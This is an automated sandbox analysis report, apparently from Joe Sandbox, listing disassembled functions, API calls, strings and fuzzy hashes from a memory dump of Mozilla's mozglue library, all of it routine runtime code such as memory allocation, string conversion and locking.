?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C964F1E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction ID: a09de3c7e85f01e70f78299b8c8b463ee06a279a972c51574fa6993e6aa33c9c
Opcode Fuzzy Hash: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction Fuzzy Hash: 3641BF71608701DFD705CFAAC49095BB7E8BF99344F108A2DF46597B81DB30E958CB92

Function 6C971530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C97159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715E7
free.MOZGLUE(?,?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971637

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction ID: a0785a1095495bd582060f3a2fa357e1915c2affc6771ed56e9ef618b47b6764
Opcode Fuzzy Hash: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction Fuzzy Hash: 44310872A011058BCB2C8E78D86147E77B9BB923647350B2DE427DBBD4EB30D90487A1

Function 6C9CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAD9D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE3D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction ID: 8d238e5c3d009862783805b174708fe9cf32d3a4f99a8e378c258a7e5e44e6cd
Opcode Fuzzy Hash: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction Fuzzy Hash: D23141B1A012159FDB50DF758D44AABB7F8EF58614F15882DE84AE7700EB34E804CBE1

Function 6C9C5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9DDCA0,?,?,?,6C99E8B5,00000000), ref: 6C9C5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C99E8B5,00000000), ref: 6C9C5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C99E8B5,00000000), ref: 6C9C5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5FD6

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction ID: f9a414590b26973a5c6b41311ddc472288af0665b7a483b6a58faf607ac434de
Opcode Fuzzy Hash: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction Fuzzy Hash: E03138343046008FD724CF29C898F2AB7F9FF99318BA48558E5668BB95C731EC51CB82

Function 6C96B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C96B532
moz_xmalloc.MOZGLUE(?), ref: 6C96B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C96B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C96B57E
free.MOZGLUE(00000000), ref: 6C96B58F

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction ID: 9676f5cb0f075f62f2fbce5dfb6d78c64c86fa631dfeadf3c0c4aecc2c99451f
Opcode Fuzzy Hash: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction Fuzzy Hash: 9821F671A042059BEB008F69CC40BAABBB9FF95304F284029F918DB781F735D911D7A0

Function 6C96B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C96B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C96B849

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction ID: f04d3f227f4fdd24db87a901b461dade1ad1ea0155ef6e00bc8cb938877be69d
Opcode Fuzzy Hash: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction Fuzzy Hash: 3F215AB0E04209DFEF04DFA9C8855BEBBB8EF59314F148169EC45A7740E731A944CBA0

Function 6C9C6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9C6E78

Part of subcall function 6C9C6A10: InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6A68
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6A7D
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6AA1
Part of subcall function 6C9C6A10: EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6AAE
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6AE1
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6B15
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9C6B65
Part of subcall function 6C9C6A10: LeaveCriticalSection.KERNEL32(6C9EF618,?,?), ref: 6C9C6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9C6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9C6EFF

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction ID: 9a514d0739917882f9128245c3c7b55b6cc8dcf3d83f7db51e57820c8a551ee8
Opcode Fuzzy Hash: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction Fuzzy Hash: 9E21B071A0831A9FCB10CF29D8856AA77F8EF98308F044439E80997241EB709A58CF92

Function 6C9C76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9C76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9C7705

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9C7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9C778F,00000000,00000000,00000000,00000000), ref: 6C9C7731
free.MOZGLUE(00000000), ref: 6C9C7760

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction ID: d52661ecbf95237a25dd3d29943d3910ed5ab990e227816723e57f206e13585f
Opcode Fuzzy Hash: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction Fuzzy Hash: 621190B1A052156BE710AF668C44AABBEF8EF55654F144829E848A7200E77098548BF2

Function 6C9A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C963DEF), ref: 6C9A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C963DEF), ref: 6C9A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C963DEF), ref: 6C9A0DAF

Strings

<jemalloc>, xrefs: 6C9A0D92, 6C9A0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C9A0D97, 6C9A0DBE

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction ID: d982ac9fb48c8b7aeabaa9a5a8c4f6cee19f3b4e79d3bbace27396da2ed3256f
Opcode Fuzzy Hash: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction Fuzzy Hash: 78F02E3238439423E72522E61C0AF5A366D6FD6F64F305035F206DEDC0DA54E8064AA8

Function 6C9B7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9B75C4,?), ref: 6C9B762B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7644
GetCurrentThreadId.KERNEL32 ref: 6C9B765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7677

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction ID: 88f185f8297259e946eca080387f95dafdc61af260dd92aeeb9b440f48701064
Opcode Fuzzy Hash: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction Fuzzy Hash: 6BF0C271E14746ABD7008F21C888676B778FFFA259F21431AF90543601E7B0A5D08BD0

Function 6C9C1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9C1800

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Strings

Details, xrefs: 6C9C1925
name, xrefs: 6C9C1939
{marker.name} - {marker.data.name}, xrefs: 6C9C18C7

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction ID: 791a978e082b28edaee63a6c353ca2e27af3217898c13102eb9902183ba7a4c9
Opcode Fuzzy Hash: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction Fuzzy Hash: 4971F370A047469FDB04CF28D4907AABBB1FFAA314F14466DD8154BB41DB70E698CBE2

Function 6C9CB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?,?,6C9CAB1F), ref: 6C9CB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?), ref: 6C9CB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010), ref: 6C9CB25F

Strings

map/set<T> too long, xrefs: 6C9CB1FA

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction ID: 85520918705c6aea235ba21366db60746784f812a42322285f549ca47e56eb68
Opcode Fuzzy Hash: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction Fuzzy Hash: BB6199347042459FD701CF19C880A9ABBF5FF5A328F28C5A9D8599BB52C331ED45CBA2

Function 6C98D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751

Strings

MOZ_CRASH(), xrefs: 6C98D4BB

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction ID: 3811356ab819f1b3ffe9f2adc51f634ba9d3de3500a3231ddf272999c0292da3
Opcode Fuzzy Hash: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction Fuzzy Hash: 4851E172A097068FD764CF28C49061AB7E5EFAE704F24892FD59AC7B84D770E800CB91

Function 6C9B4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Strings

profiler-paused, xrefs: 6C9B46E4
., xrefs: 6C9B476A
-%llu, xrefs: 6C9B4733

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction ID: 13707dcf7659a4c0fed262672df32682d45a98fdb29045fd23dc09edd5f88b24
Opcode Fuzzy Hash: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction Fuzzy Hash: 1C414872A08708ABCB08DF78D85116FB7E5EF95744F14862DE85567B81EB30D844CB91

Function 6C9D9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9D985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9D987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9D98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9D98D9

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction ID: 1dafb3f66ae6d314c8fb4f216a0e2256e7fac932ac9025a3793d71e07b950014
Opcode Fuzzy Hash: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction Fuzzy Hash: 33313A71A002089FDB14AF58DC105EE77B9DF69718F10846DEA0AABB40CB31E904CBD1

Function 6C9B46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Part of subcall function 6C964410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9A3EBD,00000017,?,00000000,?,6C9A3EBD,?,?,6C9642D2), ref: 6C964444

Strings

profiler-paused, xrefs: 6C9B46E4
., xrefs: 6C9B476A
-%llu, xrefs: 6C9B4733

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

